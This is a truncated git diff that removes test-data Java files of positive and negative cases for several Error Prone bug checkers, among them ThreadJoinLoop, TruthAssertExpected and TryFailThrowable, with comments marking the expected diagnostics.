Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author mariasam@google.com (Maria Sam) on 7/10/17. - */ -class ThreadJoinLoopPositiveCases { - - public void basicCase(Thread thread) { - try { - // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) - thread.join(); - } catch (InterruptedException e) { - // ignore - } - } - - public void emptyInterruptedFullException(Thread thread) { - try { - // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) - thread.join(); - } catch (InterruptedException e) { - // ignore - } - } - - public void emptyException(Thread thread) { - try { - // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) - thread.join(); - } catch (Exception e) { - // ignore - } - } - - public void emptyCatchStatements(Thread thread) { - try { - // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) - thread.join(); - } catch (Exception e) { - ; - ; - } - } - - public void whileLoop(Thread thread) { - while (true) { - try { - // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) - thread.join(); - } catch (InterruptedException e) { - // ignore - } - } - } - - public void whileLoopCheck(Thread thread) { - while (thread != null) { - try { - // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) - thread.join(); - } catch (InterruptedException e) { - // ignore - } - } - } - - public void whileLoopVariable(Thread thread, boolean threadAlive) { - while (threadAlive) { - try { - // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) - thread.join(); - threadAlive = false; - } catch (InterruptedException e) { - // ignore - } - } - } - - public void basicLoopOtherStatements(Thread thread) { - while (7 == 7) { - System.out.println("test"); - try { - // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) - thread.join(); - } catch (InterruptedException e) { - // ignore - } - } - } - - public void breakStatement(Thread thread) { - while (7 == 7) { - try { - // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) - thread.join(); - break; - } catch (InterruptedException e) { - // ignore - } - } - } - - private void whileLoopBreak(Thread thread) { - while (true) { - try { - // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) - thread.join(); - break; - } catch (InterruptedException e) { - /* try again */ - } - } - } - - private void whileLoopThreadAlive(Thread thread) { - while (thread.isAlive()) { - try { - // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) - thread.join(); - } catch (InterruptedException e) { - // Ignore - } - } - } - - public void multipleStatements(Thread thread, boolean isAlive) { - try { - // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) - thread.join(); - isAlive = false; - } catch (InterruptedException e) { - // ignore - } - } - - private void arrayJoin(Thread[] threads) { - for (int i = 0; i < threads.length; i++) { - try { - // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(threads[i]) - threads[i].join(); - } catch (InterruptedException e) { - // ignore - } - } - } - - class MyThread extends Thread { - - public void run() { - try { - // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(this) - join(); - } catch (InterruptedException e) { - // ignore - } - } - - public void whileInThread() { - while (isAlive()) { - try { - // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(this) - join(); - } catch (InterruptedException e) { - // Ignore. - } - } - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThreadJoinLoopPositiveCases_expected.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThreadJoinLoopPositiveCases_expected.java deleted file mode 100644 index 31375fa6f03..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThreadJoinLoopPositiveCases_expected.java +++ /dev/null @@ -1,92 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.util.concurrent.Uninterruptibles; - -/** - * @author mariasam@google.com (Maria Sam) on 7/10/17. - */ -class ThreadJoinLoopPositiveCases { - - public void basicCase(Thread thread) { - Uninterruptibles.joinUninterruptibly(thread); - } - - public void emptyInterruptedFullException(Thread thread) { - Uninterruptibles.joinUninterruptibly(thread); - } - - public void emptyException(Thread thread) { - Uninterruptibles.joinUninterruptibly(thread); - } - - public void emptyCatchStatements(Thread thread) { - Uninterruptibles.joinUninterruptibly(thread); - } - - public void whileLoop(Thread thread) { - Uninterruptibles.joinUninterruptibly(thread); - } - - public void whileLoopCheck(Thread thread) { - Uninterruptibles.joinUninterruptibly(thread); - } - - public void whileLoopVariable(Thread thread, boolean threadAlive) { - Uninterruptibles.joinUninterruptibly(thread); - } - - public void basicLoopOtherStatements(Thread thread) { - while (7 == 7) { - System.out.println("test"); - Uninterruptibles.joinUninterruptibly(thread); - } - } - - public void breakStatement(Thread thread) { - Uninterruptibles.joinUninterruptibly(thread); - } - - private void whileLoopBreak(Thread thread) { - Uninterruptibles.joinUninterruptibly(thread); - } - - private void whileLoopThreadAlive(Thread thread) { - Uninterruptibles.joinUninterruptibly(thread); - } - - public void multipleStatements(Thread thread, boolean isAlive) { - Uninterruptibles.joinUninterruptibly(thread); - } - - private void arrayJoin(Thread[] threads) { - for (int i = 0; i < threads.length; i++) { - Uninterruptibles.joinUninterruptibly(threads[i]); - } - } - - class MyThread extends Thread { - - public void run() { - Uninterruptibles.joinUninterruptibly(this); - } - - public void whileInThread() { - Uninterruptibles.joinUninterruptibly(this); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThrowIfUncheckedKnownCheckedTestNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThrowIfUncheckedKnownCheckedTestNegativeCases.java deleted file mode 100644 index 827ea0e61e8..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThrowIfUncheckedKnownCheckedTestNegativeCases.java +++ /dev/null @@ -1,80 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.base.Throwables.propagateIfPossible; -import static com.google.common.base.Throwables.throwIfUnchecked; - -import java.io.IOException; -import java.util.concurrent.CancellationException; -import java.util.concurrent.ExecutionException; - -/** - * @author cpovirk@google.com (Chris Povirk) - */ -public class ThrowIfUncheckedKnownCheckedTestNegativeCases { - void exception(Exception e) { - throwIfUnchecked(e); - } - - void throwable(Throwable e) { - throwIfUnchecked(e); - } - - void runtime(RuntimeException e) { - // Better written as "throw e," but comes up too rarely to justify a compile error. - throwIfUnchecked(e); - } - - void error(Error e) { - // Better written as "throw e," but comes up too rarely to justify a compile error. - throwIfUnchecked(e); - } - - void multiarg(IOException e) throws IOException { - propagateIfPossible(e, IOException.class); - } - - void union() { - try { - foo(); - } catch (IOException | ExecutionException | CancellationException e) { - throwIfUnchecked(e); - } - } - - void genericUnchecked(E e) { - throwIfUnchecked(e); - } - - void genericMaybeUnchecked(E e) { - throwIfUnchecked(e); - } - - void genericUpperBoundDifferentFromErasure(E e) { - throwIfUnchecked(e); - } - - void foo() throws IOException, ExecutionException {} - - /* - * I don't care whether these are flagged or not, since it won't come up in practice. I just want - * to make sure that we don't blow up when running against the tests of Throwables. - */ - void nullException() { - throwIfUnchecked(null); // throws NPE - propagateIfPossible(null); // no-op - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThrowIfUncheckedKnownCheckedTestPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThrowIfUncheckedKnownCheckedTestPositiveCases.java deleted file mode 100644 index 71e0a59b013..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThrowIfUncheckedKnownCheckedTestPositiveCases.java +++ /dev/null @@ -1,53 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.base.Throwables.propagateIfPossible; -import static com.google.common.base.Throwables.throwIfUnchecked; - -import java.io.IOException; -import java.util.concurrent.ExecutionException; - -/** - * @author cpovirk@google.com (Chris Povirk) - */ -public class ThrowIfUncheckedKnownCheckedTestPositiveCases { - void simple(IOException e) { - // BUG: Diagnostic contains: no-op - throwIfUnchecked(e); - - // BUG: Diagnostic contains: no-op - propagateIfPossible(e); - } - - void union() { - try { - foo(); - } catch (IOException | ExecutionException e) { - // BUG: Diagnostic contains: no-op - throwIfUnchecked(e); - - // BUG: Diagnostic contains: no-op - propagateIfPossible(e); - } - } - - void checkedGeneric(E e) { - // BUG: Diagnostic contains: no-op - throwIfUnchecked(e); - } - - void foo() throws IOException, ExecutionException {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThrowsUncheckedExceptionNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThrowsUncheckedExceptionNegativeCases.java deleted file mode 100644 index dde000dcacb..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThrowsUncheckedExceptionNegativeCases.java +++ /dev/null @@ -1,32 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import java.io.FileNotFoundException; -import java.io.IOException; - -/** - * @author yulissa@google.com (Yulissa Arroyo-Paredes) - */ -public class ThrowsUncheckedExceptionNegativeCases { - public void doSomething() { - throw new IllegalArgumentException("thrown"); - } - - public void doMore() throws IOException { - throw new FileNotFoundException("thrown"); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThrowsUncheckedExceptionPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThrowsUncheckedExceptionPositiveCases.java deleted file mode 100644 index 0eb030f3fdd..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ThrowsUncheckedExceptionPositiveCases.java +++ /dev/null @@ -1,48 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import java.io.IOException; - -/** - * @author yulissa@google.com (Yulissa Arroyo-Paredes) - */ -public class ThrowsUncheckedExceptionPositiveCases { - // BUG: Diagnostic contains: 'public void doSomething() {' - public void doSomething() throws IllegalArgumentException { - throw new IllegalArgumentException("thrown"); - } - - // BUG: Diagnostic contains: 'public void doSomethingElse() {' - public void doSomethingElse() throws RuntimeException, NullPointerException { - throw new NullPointerException("thrown"); - } - - // BUG: Diagnostic contains: Unchecked exceptions do not need to be declared - public void doMore() throws RuntimeException, IOException { - throw new IllegalArgumentException("thrown"); - } - - // BUG: Diagnostic contains: Unchecked exceptions do not need to be declared - public void doEverything() throws RuntimeException, IOException, IndexOutOfBoundsException { - throw new IllegalArgumentException("thrown"); - } - - // BUG: Diagnostic contains: 'public void doBetter() {' - public void doBetter() throws RuntimeException, AssertionError { - throw new RuntimeException("thrown"); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TreeToStringNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TreeToStringNegativeCases.java deleted file mode 100644 index 5ce66ce51e8..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TreeToStringNegativeCases.java +++ /dev/null @@ -1,35 +0,0 @@ -/* - * Copyright 2021 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -import com.google.errorprone.VisitorState; -import com.google.errorprone.bugpatterns.BugChecker; -import com.google.errorprone.util.ASTHelpers; -import com.sun.source.tree.ClassTree; -import com.sun.source.tree.Tree; - -public class TreeToStringNegativeCases { - - public static class InnerClass extends BugChecker { - - private static void foo(VisitorState state) { - Tree tree = (Tree) new Object(); - state.getSourceForNode(tree); - state.getConstantExpression(tree); - ((ClassTree) new Object()).getSimpleName().toString(); - ASTHelpers.getSymbol(tree).getSimpleName().toString(); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TreeToStringPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TreeToStringPositiveCases.java deleted file mode 100644 index e5cb0312b89..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TreeToStringPositiveCases.java +++ /dev/null @@ -1,56 +0,0 @@ -/* - * Copyright 2021 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -import com.google.errorprone.VisitorState; -import com.google.errorprone.bugpatterns.BugChecker; -import com.google.errorprone.matchers.Matcher; -import com.sun.source.tree.ClassTree; -import com.sun.source.tree.ExpressionTree; -import com.sun.source.tree.Tree; - -public class TreeToStringPositiveCases { - - public static class InnerClass extends BugChecker { - private static void foo() { - Tree tree = (Tree) new Object(); - // BUG: Diagnostic contains: [TreeToString] Tree#toString shouldn't be used - tree.toString(); - } - - private static final Matcher MATCHER1 = - (tree, state) -> { - ExpressionTree packageName = state.getPath().getCompilationUnit().getPackageName(); - // BUG: Diagnostic contains: [TreeToString] Tree#toString shouldn't be used - packageName.toString(); - - // BUG: Diagnostic contains: [TreeToString] Tree#toString shouldn't be used - state.getPath().getCompilationUnit().getPackageName().toString(); - - return false; - }; - - private static final Matcher MATCHER2 = - new Matcher() { - @Override - public boolean matches(ClassTree classTree, VisitorState state) { - ExpressionTree packageName = state.getPath().getCompilationUnit().getPackageName(); - // BUG: Diagnostic contains: - packageName.toString(); - return false; - } - }; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TruthAssertExpectedNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TruthAssertExpectedNegativeCases.java deleted file mode 100644 index 2d1ae54da91..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TruthAssertExpectedNegativeCases.java +++ /dev/null @@ -1,67 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertThat; - -import com.google.common.collect.ImmutableList; - -/** - * Negative test cases for TruthAssertExpected check. - * - * @author ghm@google.com (Graeme Morgan) - */ -final class TruthAssertExpectedNegativeCases { - private static final Object expected = new Object(); - private static final Object actual = new Object(); - private static final Object foo = new Object(); - private static final long CONSTANT = 1L; - - private enum Enum { - A, - B; - } - - private void simple() { - assertThat(foo).isEqualTo(expected); - - assertThat(expected.hashCode()).isEqualTo(expected.hashCode()); - assertThat(hashCode()).isEqualTo(foo); - } - - private void actualAndExpectedTogether(int delay) { - int actualDelayInExpectedUnits = 1; - assertThat(actualDelayInExpectedUnits).isEqualTo(delay); - } - - private void expectedExceptions() { - Exception expectedException = new Exception("Oh no."); - assertThat(expectedException).hasMessageThat().isEqualTo("Oh no."); - assertThat(expectedException.getClass()).isEqualTo(hashCode()); - } - - private void staticFactoryMethod() { - assertThat(expected).isEqualTo(Long.valueOf(10L)); - assertThat(expected).isEqualTo(ImmutableList.of(1)); - } - - private void constantValues() { - assertThat(expected).isEqualTo(Enum.A); - assertThat(expected).isEqualTo(10L); - assertThat(expected).isEqualTo(CONSTANT); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TruthAssertExpectedPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TruthAssertExpectedPositiveCases.java deleted file mode 100644 index a26883907a9..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TruthAssertExpectedPositiveCases.java +++ /dev/null @@ -1,66 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertThat; -import static com.google.common.truth.Truth.assertWithMessage; - -import com.google.common.collect.ImmutableList; - -/** - * Positive test cases for TruthAssertExpected check. - * - * @author ghm@google.com (Graeme Morgan) - */ -final class TruthAssertExpectedPositiveCases { - private static final ImmutableList EXPECTED_LIST = ImmutableList.of(); - private static final float EXPECTED_FLOAT = 1f; - - private float actualFloat() { - return 3.14f; - } - - private void simple() { - Object expected = new Object(); - Object actual = new Object(); - Object foo = new Object(); - // BUG: Diagnostic contains: assertThat(foo).isEqualTo(expected) - assertThat(expected).isEqualTo(foo); - // BUG: Diagnostic contains: assertThat(foo).isNotEqualTo(expected) - assertThat(expected).isNotEqualTo(foo); - - // BUG: Diagnostic contains: assertWithMessage("reversed!").that(actual).isEqualTo(expected) - assertWithMessage("reversed!").that(expected).isEqualTo(actual); - - // BUG: Diagnostic contains: assertThat(actual.hashCode()).isEqualTo(expected.hashCode()) - assertThat(expected.hashCode()).isEqualTo(actual.hashCode()); - } - - private void tolerantFloats() { - // BUG: Diagnostic contains: assertThat(actualFloat()).isWithin(1f).of(EXPECTED_FLOAT) - assertThat(EXPECTED_FLOAT).isWithin(1f).of(actualFloat()); - } - - private void lists() { - // BUG: Diagnostic contains: - // assertThat(ImmutableList.of(this)).containsExactlyElementsIn(EXPECTED_LIST); - assertThat(EXPECTED_LIST).containsExactlyElementsIn(ImmutableList.of(this)); - // BUG: Diagnostic contains: - // assertThat(ImmutableList.of(this)).containsExactlyElementsIn(EXPECTED_LIST).inOrder(); - assertThat(EXPECTED_LIST).containsExactlyElementsIn(ImmutableList.of(this)).inOrder(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TruthConstantAssertsNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TruthConstantAssertsNegativeCases.java deleted file mode 100644 index a018ebc429a..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TruthConstantAssertsNegativeCases.java +++ /dev/null @@ -1,39 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertThat; - -/** - * Negative test cases for TruthConstantAsserts check. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class TruthConstantAssertsNegativeCases { - - public void testNegativeCases() { - assertThat(new TruthConstantAssertsNegativeCases()).isEqualTo(Boolean.TRUE); - assertThat(getObject()).isEqualTo(Boolean.TRUE); - - // assertion called on constant with constant expectation is ignored. - assertThat(Boolean.FALSE).isEqualTo(4.2); - } - - private static TruthConstantAssertsNegativeCases getObject() { - return new TruthConstantAssertsNegativeCases(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TruthConstantAssertsPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TruthConstantAssertsPositiveCases.java deleted file mode 100644 index 42afa95c8f4..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TruthConstantAssertsPositiveCases.java +++ /dev/null @@ -1,52 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertThat; - -/** - * Positive test cases for TruthConstantAsserts check. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class TruthConstantAssertsPositiveCases { - - public void testAssertThat() { - // BUG: Diagnostic contains: assertThat(new TruthConstantAssertsPositiveCases()).isEqualTo(1); - assertThat(1).isEqualTo(new TruthConstantAssertsPositiveCases()); - - // BUG: Diagnostic contains: assertThat(someStaticMethod()).isEqualTo("my string"); - assertThat("my string").isEqualTo(someStaticMethod()); - - // BUG: Diagnostic contains: assertThat(memberMethod()).isEqualTo(42); - assertThat(42).isEqualTo(memberMethod()); - - // BUG: Diagnostic contains: assertThat(someStaticMethod()).isEqualTo(42L); - assertThat(42L).isEqualTo(someStaticMethod()); - - // BUG: Diagnostic contains: assertThat(new Object()).isEqualTo(4.2); - assertThat(4.2).isEqualTo(new Object()); - } - - private static TruthConstantAssertsPositiveCases someStaticMethod() { - return new TruthConstantAssertsPositiveCases(); - } - - private TruthConstantAssertsPositiveCases memberMethod() { - return new TruthConstantAssertsPositiveCases(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TryFailThrowableNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TryFailThrowableNegativeCases.java deleted file mode 100644 index 5db8038c58d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TryFailThrowableNegativeCases.java +++ /dev/null @@ -1,185 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertTrue; -import static org.junit.Assert.fail; - -import junit.framework.TestCase; -import org.junit.Assert; - -/** - * @author adamwos@google.com (Adam Wos) - */ -public class TryFailThrowableNegativeCases { - - public static void withoutFail() { - try { - dummyMethod(); - } catch (Throwable t) { - dummyRecover(); - } - } - - public static void failOutsideTry() { - try { - dummyMethod(); - } catch (Throwable t) { - dummyRecover(); - } - Assert.fail(); - } - - public static void withoutCatch() { - try { - dummyMethod(); - Assert.fail(""); - } finally { - dummyRecover(); - } - } - - /** For now, this isn't supported. */ - public static void multipleCatches() { - try { - dummyMethod(); - Assert.fail("1234"); - } catch (Error e) { - dummyRecover(); - } catch (Throwable t) { - dummyRecover(); - } - } - - public static void failNotLast() { - try { - dummyMethod(); - Assert.fail("Not last :("); - dummyMethod(); - } catch (Throwable t) { - dummyRecover(); - } - } - - public static void catchException() { - try { - dummyMethod(); - Assert.fail(); - } catch (Exception t) { - dummyRecover(); - } - } - - public static void catchException_failWithMessage() { - try { - dummyMethod(); - Assert.fail("message"); - } catch (Exception t) { - dummyRecover(); - } - } - - public static void codeCatch_failNoMessage() { - try { - dummyMethod(); - Assert.fail(); - } catch (Throwable t) { - dummyRecover(); - } - } - - public static void codeCatch_failWithMessage() { - try { - dummyMethod(); - Assert.fail("Faaail!"); - } catch (Throwable t444) { - dummyRecover(); - } - } - - public static void codeCatch_staticImportedFail() { - try { - dummyMethod(); - fail(); - } catch (Throwable t444) { - dummyRecover(); - } - } - - @SuppressWarnings("deprecation") // deprecated in JUnit 4.11 - public static void codeCatch_oldAssertFail() { - try { - dummyMethod(); - junit.framework.Assert.fail(); - } catch (Throwable codeCatch_oldAssertFail) { - dummyRecover(); - } - } - - @SuppressWarnings("deprecation") // deprecated in JUnit 4.11 - public static void codeCatch_oldAssertFailWithMessage() { - try { - dummyMethod(); - junit.framework.Assert.fail("message"); - } catch (Throwable codeCatch_oldAssertFailWithMessage) { - dummyRecover(); - } - } - - public static void codeCatch_FQFail() { - try { - dummyMethod(); - org.junit.Assert.fail("Faaail!"); - } catch (Throwable t444) { - dummyRecover(); - } - } - - public static void codeCatch_assert() { - try { - dummyMethod(); - assertEquals(1, 2); - } catch (Throwable t) { - dummyMethod(); - } - } - - public static void commentCatch_assertNotLast() { - try { - dummyMethod(); - assertTrue("foobar!", true); - dummyRecover(); - } catch (Throwable t) { - dummyMethod(); - } - } - - static final class SomeTest extends TestCase { - public void testInTestCase() { - try { - dummyMethod(); - fail("message"); - } catch (Throwable codeCatch_oldAssertFailWithMessage) { - dummyRecover(); - } - } - } - - private static void dummyRecover() {} - - private static void dummyMethod() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TryFailThrowablePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TryFailThrowablePositiveCases.java deleted file mode 100644 index 80e6a259bbc..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/TryFailThrowablePositiveCases.java +++ /dev/null @@ -1,198 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertTrue; -import static org.junit.Assert.fail; - -import java.util.Arrays; -import junit.framework.TestCase; -import org.junit.Assert; - -/** - * @author adamwos@google.com (Adam Wos) - */ -public class TryFailThrowablePositiveCases { - - public static void emptyCatch_failNoMessage() { - try { - dummyMethod(); - Assert.fail(); - // BUG: Diagnostic contains: catch (Exception t) - } catch (Throwable t) { - } - } - - public static void commentCatch_failNoMessage() { - try { - dummyMethod(); - Assert.fail(); - // BUG: Diagnostic contains: catch (Exception t123) - } catch (Throwable t123) { - // expected! - ; - /* that's an empty comment */ - } - } - - public static void commentCatch_failWithMessage() { - try { - dummyMethod(); - Assert.fail("Faaail!"); - // BUG: Diagnostic contains: catch (Exception t) - } catch (Throwable t) { - // expected! - } - } - - public static void commentCatch_failNotLast() { - try { - dummyMethod(); - fail("Faaail!"); - dummyMethod(); - // BUG: Diagnostic contains: catch (Exception t) - } catch (Throwable t) { - // expected! - } - } - - public static void commentCatch_assert() { - try { - dummyMethod(); - assertEquals(1, 2); - // BUG: Diagnostic contains: catch (Exception t) - } catch (Throwable t) { - // expected! - } - } - - public static void commentCatch_assertNotLast() { - try { - 